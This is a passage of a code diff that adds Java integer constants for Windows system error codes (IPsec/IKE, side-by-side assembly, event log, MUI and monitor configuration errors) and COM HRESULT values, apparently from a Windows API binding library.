+  public static final int ERROR_IPSEC_IKE_FAILQUERYSSP = 13854;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_SRVACQFAIL = 13855;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_SRVQUERYCRED = 13856;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_GETSPIFAIL = 13857;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_FILTER = 13858;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_OUT_OF_MEMORY = 13859;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED = 13860;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_POLICY = 13861;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_UNKNOWN_DOI = 13862;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_SITUATION = 13863;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_DH_FAILURE = 13864;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_GROUP = 13865;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_ENCRYPT = 13866;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_DECRYPT = 13867;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_POLICY_MATCH = 13868;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_UNSUPPORTED_ID = 13869;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_HASH = 13870;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_HASH_ALG = 13871;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_HASH_SIZE = 13872;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG = 13873;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_AUTH_ALG = 13874;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_SIG = 13875;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_LOAD_FAILED = 13876;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_RPC_DELETE = 13877;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_BENIGN_REINIT = 13878;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY = 13879;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN = 13881;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_MM_LIMIT = 13882;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NEGOTIATION_DISABLED = 13883;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_QM_LIMIT = 13884;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_MM_EXPIRED = 13885;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID = 13886;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH = 13887;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID = 13888;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD = 13889;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_DOS_COOKIE_SENT = 13890;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_SHUTTING_DOWN = 13891;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_CGA_AUTH_FAILED = 13892;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_PROCESS_ERR_NATOA = 13893;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_INVALID_MM_FOR_QM = 13894;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_QM_EXPIRED = 13895;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_TOO_MANY_FILTERS = 13896;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_IKE_NEG_STATUS_END = 13897;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_BAD_SPI = 13910;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_SA_LIFETIME_EXPIRED = 13911;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_WRONG_SA = 13912;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_REPLAY_CHECK_FAILED = 13913;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_INVALID_PACKET = 13914;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_INTEGRITY_CHECK_FAILED = 13915;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_IPSEC_CLEAR_TEXT_DROP = 13916;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_SECTION_NOT_FOUND = 14000;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_CANT_GEN_ACTCTX = 14001;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INVALID_ACTCTXDATA_FORMAT = 14002;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_ASSEMBLY_NOT_FOUND = 14003;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MANIFEST_FORMAT_ERROR = 14004;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MANIFEST_PARSE_ERROR = 14005;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_ACTIVATION_CONTEXT_DISABLED = 14006;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_KEY_NOT_FOUND = 14007;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_VERSION_CONFLICT = 14008;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_WRONG_SECTION_TYPE = 14009;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_THREAD_QUERIES_DISABLED = 14010;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET = 14011;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_UNKNOWN_ENCODING_GROUP = 14012;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_UNKNOWN_ENCODING = 14013;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INVALID_XML_NAMESPACE_URI = 14014;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14015;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED = 14016;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE = 14017;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE = 14018;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE = 14019;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT = 14020;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_DUPLICATE_DLL_NAME = 14021;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME = 14022;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_DUPLICATE_CLSID = 14023;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_DUPLICATE_IID = 14024;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_DUPLICATE_TLBID = 14025;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_DUPLICATE_PROGID = 14026;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_DUPLICATE_ASSEMBLY_NAME = 14027;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_FILE_HASH_MISMATCH = 14028;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_POLICY_PARSE_ERROR = 14029;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MISSINGQUOTE = 14030;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_COMMENTSYNTAX = 14031;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_BADSTARTNAMECHAR = 14032;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_BADNAMECHAR = 14033;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_BADCHARINSTRING = 14034;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_XMLDECLSYNTAX = 14035;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_BADCHARDATA = 14036;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MISSINGWHITESPACE = 14037;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_EXPECTINGTAGEND = 14038;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MISSINGSEMICOLON = 14039;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNBALANCEDPAREN = 14040;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INTERNALERROR = 14041;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE = 14042;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INCOMPLETE_ENCODING = 14043;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MISSING_PAREN = 14044;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE = 14045;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MULTIPLE_COLONS = 14046;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALID_DECIMAL = 14047;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALID_HEXIDECIMAL = 14048;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALID_UNICODE = 14049;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK = 14050;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNEXPECTEDENDTAG = 14051;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNCLOSEDTAG = 14052;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_DUPLICATEATTRIBUTE = 14053;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MULTIPLEROOTS = 14054;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALIDATROOTLEVEL = 14055;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_BADXMLDECL = 14056;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MISSINGROOT = 14057;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNEXPECTEDEOF = 14058;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_BADPEREFINSUBSET = 14059;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNCLOSEDSTARTTAG = 14060;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNCLOSEDENDTAG = 14061;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNCLOSEDSTRING = 14062;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNCLOSEDCOMMENT = 14063;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNCLOSEDDECL = 14064;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNCLOSEDCDATA = 14065;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_RESERVEDNAMESPACE = 14066;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALIDENCODING = 14067;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALIDSWITCH = 14068;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_BADXMLCASE = 14069;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALID_STANDALONE = 14070;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_UNEXPECTED_STANDALONE = 14071;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_INVALID_VERSION = 14072;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_XML_E_MISSINGEQUALS = 14073;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_PROTECTION_RECOVERY_FAILED = 14074;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT = 14075;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_PROTECTION_CATALOG_NOT_VALID = 14076;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_UNTRANSLATABLE_HRESULT = 14077;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING = 14078;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE = 14079;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME = 14080;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_ASSEMBLY_MISSING = 14081;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_CORRUPT_ACTIVATION_STACK = 14082;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_CORRUPTION = 14083;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_EARLY_DEACTIVATION = 14084;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INVALID_DEACTIVATION = 14085;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MULTIPLE_DEACTIVATION = 14086;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_PROCESS_TERMINATION_REQUESTED = 14087;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_RELEASE_ACTIVATION_CONTEXT = 14088;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY = 14089;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE = 14090;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME = 14091;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE = 14092;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_IDENTITY_PARSE_ERROR = 14093;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MALFORMED_SUBSTITUTION_STRING = 14094;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN = 14095;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_UNMAPPED_SUBSTITUTION_STRING = 14096;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_ASSEMBLY_NOT_LOCKED = 14097;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_COMPONENT_STORE_CORRUPT = 14098;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_ADVANCED_INSTALLER_FAILED = 14099;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_XML_ENCODING_MISMATCH = 14100;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT = 14101;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_IDENTITIES_DIFFERENT = 14102;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT = 14103;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY = 14104;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_MANIFEST_TOO_BIG = 14105;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_SETTING_NOT_REGISTERED = 14106;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE = 14107;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SMI_PRIMITIVE_INSTALLER_FAILED = 14108;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_GENERIC_COMMAND_FAILED = 14109;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SXS_FILE_HASH_MISSING = 14110;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_INVALID_CHANNEL_PATH = 15000;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_INVALID_QUERY = 15001;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND = 15002;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND = 15003;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_INVALID_PUBLISHER_NAME = 15004;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_INVALID_EVENT_DATA = 15005;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_CHANNEL_NOT_FOUND = 15007;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_MALFORMED_XML_TEXT = 15008;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL = 15009;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_CONFIGURATION_ERROR = 15010;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_QUERY_RESULT_STALE = 15011;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_QUERY_RESULT_INVALID_POSITION = 15012;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_NON_VALIDATING_MSXML = 15013;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_ALREADYSCOPED = 15014;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_NOTELTSET = 15015;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_INVARG = 15016;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_INVTEST = 15017;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_INVTYPE = 15018;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_PARSEERR = 15019;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_UNSUPPORTEDOP = 15020;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_UNEXPECTEDTOKEN = 15021;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL = 15022;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE = 15023;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE = 15024;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_CHANNEL_CANNOT_ACTIVATE = 15025;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_TOO_COMPLEX = 15026;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_MESSAGE_NOT_FOUND = 15027;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_MESSAGE_ID_NOT_FOUND = 15028;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_UNRESOLVED_VALUE_INSERT = 15029;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_UNRESOLVED_PARAMETER_INSERT = 15030;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_MAX_INSERTS_REACHED = 15031;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_EVENT_DEFINITION_NOT_FOUND = 15032;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND = 15033;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_VERSION_TOO_OLD = 15034;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_VERSION_TOO_NEW = 15035;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY = 15036;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_PUBLISHER_DISABLED = 15037;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EVT_FILTER_OUT_OF_RANGE = 15038;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE = 15080;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EC_LOG_DISABLED = 15081;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EC_CIRCULAR_FORWARDING = 15082;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EC_CREDSTORE_FULL = 15083;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EC_CRED_NOT_FOUND = 15084;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_EC_NO_ACTIVE_CHANNEL = 15085;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_FILE_NOT_FOUND = 15100;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_INVALID_FILE = 15101;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_INVALID_RC_CONFIG = 15102;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_INVALID_LOCALE_NAME = 15103;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME = 15104;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_FILE_NOT_LOADED = 15105;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_RESOURCE_ENUM_USER_STOP = 15106;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED = 15107;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME = 15108;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_INVALID_CAPABILITIES_STRING = 15200;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_INVALID_VCP_VERSION = 15201;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION = 15202;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_MCCS_VERSION_MISMATCH = 15203;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_UNSUPPORTED_MCCS_VERSION = 15204;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_INTERNAL_ERROR = 15205;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED = 15206;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE = 15207;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_AMBIGUOUS_SYSTEM_DEVICE = 15250;
+  
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_DEVICE_NOT_FOUND = 15299;
+  
+
+
+
+
+
+
+
+  public static final int SEVERITY_SUCCESS = 0;
+  
+
+
+
+
+
+
+
+  public static final int SEVERITY_ERROR = 1;
+  
+
+
+
+
+
+
+
+  public static final int FACILITY_NT_BIT = 268435456;
+  
+
+
+
+
+
+
+
+  public static final int NOERROR = 0;
+  
+
+
+
+
+
+
+
+  public static final int E_UNEXPECTED = -2147418113;
+  
+
+
+
+
+
+
+
+  public static final int E_NOTIMPL = -2147467263;
+  
+
+
+
+
+
+
+
+  public static final int E_OUTOFMEMORY = -2147024882;
+  
+
+
+
+
+
+
+
+  public static final int E_INVALIDARG = -2147024809;
+  
+
+
+
+
+
+
+
+  public static final int E_NOINTERFACE = -2147467262;
+  
+
+
+
+
+
+
+
+  public static final int E_POINTER = -2147467261;
+  
+
+
+
+
+
+
+
+  public static final int E_HANDLE = -2147024890;
+  
+
+
+
+
+
+
+
+  public static final int E_ABORT = -2147467260;
+  
+
+
+
+
+
+
+
+  public static final int E_FAIL = -2147467259;
+  
+
+
+
+
+
+
+
+  public static final int E_ACCESSDENIED = -2147024891;
+  
+
+
+
+
+
+
+
+  public static final int E_PENDING = -2147483638;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_TLS = -2147467258;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_SHARED_ALLOCATOR = -2147467257;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_MEMORY_ALLOCATOR = -2147467256;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_CLASS_CACHE = -2147467255;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_RPC_CHANNEL = -2147467254;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_TLS_SET_CHANNEL_CONTROL = -2147467253;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_TLS_CHANNEL_CONTROL = -2147467252;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_UNACCEPTED_USER_ALLOCATOR = -2147467251;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_SCM_MUTEX_EXISTS = -2147467250;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_SCM_FILE_MAPPING_EXISTS = -2147467249;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_SCM_MAP_VIEW_OF_FILE = -2147467248;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_SCM_EXEC_FAILURE = -2147467247;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_INIT_ONLY_SINGLE_THREADED = -2147467246;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_CANT_REMOTE = -2147467245;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_BAD_SERVER_NAME = -2147467244;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_WRONG_SERVER_IDENTITY = -2147467243;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_OLE1DDE_DISABLED = -2147467242;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_RUNAS_SYNTAX = -2147467241;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_CREATEPROCESS_FAILURE = -2147467240;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_RUNAS_CREATEPROCESS_FAILURE = -2147467239;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_RUNAS_LOGON_FAILURE = -2147467238;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_LAUNCH_PERMSSION_DENIED = -2147467237;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_START_SERVICE_FAILURE = -2147467236;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_REMOTE_COMMUNICATION_FAILURE = -2147467235;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_SERVER_START_TIMEOUT = -2147467234;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_CLSREG_INCONSISTENT = -2147467233;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_IIDREG_INCONSISTENT = -2147467232;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_NOT_SUPPORTED = -2147467231;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_RELOAD_DLL = -2147467230;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_MSI_ERROR = -2147467229;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_ATTEMPT_TO_CREATE_OUTSIDE_CLIENT_CONTEXT = -2147467228;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_SERVER_PAUSED = -2147467227;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_SERVER_NOT_PAUSED = -2147467226;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_CLASS_DISABLED = -2147467225;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_CLRNOTAVAILABLE = -2147467224;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_ASYNC_WORK_REJECTED = -2147467223;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_SERVER_INIT_TIMEOUT = -2147467222;
+  
+
+
+
+
+
+
+
+  public static final int CO_E_NO_SECCTX_IN_ACTIVATE = -2147467221;
+  
+
+
+
+
+
+
+
